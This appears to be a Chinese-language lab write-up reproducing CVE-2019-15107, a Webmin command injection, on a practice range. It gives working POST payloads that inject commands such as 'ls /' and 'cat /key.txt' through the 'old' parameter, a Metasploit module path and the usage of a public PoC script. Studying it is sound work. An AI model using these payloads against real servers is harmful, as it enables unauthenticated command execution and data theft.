漏洞编号: CVE-2019-15107
漏洞名称: Webmin远程代码执行漏洞
影响范围: Webmin <= 1.920
漏洞描述:
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。据统计,互联网上大约有13w台机器使用Webmin。当用户开启Webmin密码重置功能后,password_change.cgi中的old参数处有一个命令注入漏洞。攻击者可以通过POST请求中利用该参数在目标系统中执行任意命令,且无需身份验证。
为了节省搭建环境的时间,这里使用的是墨者学院的靶场!
启动环境:

姿势1:BurpSuite
抓取原始数据包:

user=test&pam=1&expired=2&old=ls /&new1=1&new2=1

根据payload1的回显,构造payload2:
user=test&pam=1&expired=2&old=cat /key.txt&new1=1&new2=1

复现成功!
姿势2:Metasploit (失败)
MSF模块:
exploit/unix/webapp/webmin_backdoor
利用条件:
此模块利用Webmin 1.890至1.920版本的后门。只有SourceForge下载是后门的,但是在项目站点上将它们列为官方下载。未知的攻击者在两个不同的场合将Perl qx语句插入到构建服务器的源代码中:
一次是在2018年4月,在1.890版本中引入了后门程序, 一次是在2018年7月,在1.900至1.920版中重新引入了后门程序。默认安装中仅可利用1.890版本。更高版本的受影响版本要求启用过期密码更改功能。
注意:
kali自带的msf并没有这个模块,需要自己下载后移动到相关路径:
/usr/share/metasploit-framework/modules/exploits/unix/webapp/webmin_backdoor.rb
复现步骤如下:
[图1]


复现失败,估计该环境使用的webmin的版本并没有后门。
姿势3: CVE_2019_15107.py (需修改)
poc链接:
https://github.com/jas502n/CVE-2019-15107
利用条件:
Webmin <=1.920启用过期密码更改功能
利用方法:
python CVE_2019_15107.py https://ip:port cmd
回显效果:

参考链接:
https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-15107
https://github.com/jas502n/CVE-2019-15107




